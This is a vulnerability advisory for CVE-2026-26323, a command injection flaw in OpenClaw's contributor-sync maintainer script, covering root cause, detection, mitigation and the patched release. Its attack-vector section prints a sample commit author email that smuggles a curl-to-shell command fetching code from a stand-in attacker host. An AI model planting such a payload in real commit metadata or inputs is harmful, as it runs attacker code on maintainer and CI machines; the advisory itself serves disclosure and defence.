CVE-2026-26323: Openclaw RCE Vulnerability

CVE-2026-26323 Overview

CVE-2026-26323 is a command injection vulnerability in OpenClaw, a personal AI assistant distributed as a Node.js package. The flaw affects versions 2026.1.8 through 2026.2.13 and resides in the maintainer development script scripts/update-clawtributors.ts. The script derives a GitHub login from git log author metadata and interpolates it into a shell command executed via execSync. A crafted commit author email containing shell metacharacters triggers arbitrary command execution when a maintainer or CI job runs bun scripts/update-clawtributors.ts against a malicious source checkout. Routine CLI usage installed via npm i -g openclaw is not affected because the script is not part of the shipped CLI. Version 2026.2.14 contains the patch.

Critical Impact
Arbitrary command execution on maintainer workstations or CI runners that process untrusted commit metadata from forks or pull requests.

Affected Products

OpenClaw 2026.1.8 through 2026.2.13 (Node.js package)
Source checkouts executing scripts/update-clawtributors.ts
CI pipelines invoking the maintainer script against untrusted commits

Discovery Timeline

2026-02-19 - CVE-2026-26323 published to NVD
2026-02-20 - Last updated in NVD database

Technical Details for CVE-2026-26323

Vulnerability Analysis

The vulnerability is classified as OS Command Injection [CWE-78]. The OpenClaw maintainer script scripts/update-clawtributors.ts enumerates contributors by parsing git log output. It extracts a GitHub login string from author email values that follow the @users.noreply.github.com convention. The script concatenates that derived login into a shell command string and passes the result to Node.js execSync, which spawns a shell to interpret the command.

Because the author email originates from commit metadata, any contributor with write access to a fork can craft a commit whose author email contains shell metacharacters. When a maintainer pulls that branch and runs the script, the injected metacharacters break the intended command boundary and execute attacker-controlled commands with the privileges of the script runner.

Root Cause

The root cause is unsafe interpolation of untrusted input into a shell-executed command. The script trusts git log author metadata as a source of safe identifier strings and skips both input validation and argument quoting. Using execSync with a single string argument routes the command through a shell, exposing every embedded metacharacter to interpretation.

Attack Vector

An attacker submits a commit, pull request, or fork containing an author email such as attacker$(curl evil.example/x|sh)@users.noreply.github.com. When a maintainer or CI runner executes bun scripts/update-clawtributors.ts after fetching the branch, the malicious payload is extracted, interpolated into the shell command, and executed. The attacker requires no authentication on the OpenClaw project and only user interaction in the form of running the maintainer script.

The maintainer script is not bundled with the published npm package, so end users of the CLI are not exposed. The exposure is limited to contributors, maintainers, and CI workflows that execute the script against untrusted source.

Detection Methods for CVE-2026-26323

Indicators of Compromise

Unexpected child processes spawned by bun, node, or tsx while running scripts/update-clawtributors.ts
Outbound network connections from developer workstations or CI runners shortly after the script executes
Commits in fetched branches containing non-alphanumeric characters in author email local-parts
Shell history or process audit entries showing sh -c invocations launched from the script

Detection Strategies

Inspect git log --format='%ae' output on untrusted branches for emails containing `, $, ;, |, &, or whitespace before running maintainer tooling
Monitor CI build logs for shell commands that include unexpected operators or subshells originating from contributor metadata
Enable process auditing on developer endpoints and CI runners to record process trees rooted at bun or node

Monitoring Recommendations

Forward endpoint and CI runner process telemetry to a central logging system and alert on shell child processes spawned by Node.js runtimes during contributor sync jobs
Track outbound DNS and HTTP egress from CI runners and flag connections to domains not on a maintained allowlist
Review the GitHub Security Advisory GHSA-m7x8-2w3w-pr42 and the patch commit for indicators specific to the repository

How to Mitigate CVE-2026-26323

Immediate Actions Required

Upgrade OpenClaw to version 2026.2.14 or later in all source checkouts
Do not run scripts/update-clawtributors.ts against branches containing untrusted commits until the upgrade is complete
Rotate any credentials or tokens that were accessible from maintainer workstations or CI runners that executed the vulnerable script against external commits
Audit CI workflows for invocations of the maintainer script and disable them on pull request triggers from forks

Patch Information

The maintainers released a fix in version 2026.2.14. The patch is published in commit a429380e337152746031d290432a4b93aa553d5 and documented in the GitHub Security Advisory GHSA-m7x8-2w3w-pr42. Release notes are available in the GitHub Release v2026.2.14.

Workarounds

Avoid executing scripts/update-clawtributors.ts until the patched version is installed
Restrict the maintainer script to run only against trusted commits authored by verified contributors
Replace execSync string invocations with array-form spawnSync calls that bypass shell interpretation when maintaining forks of the script

bash

# Upgrade to the patched release
git fetch --tags
git checkout v2026.2.14
bun install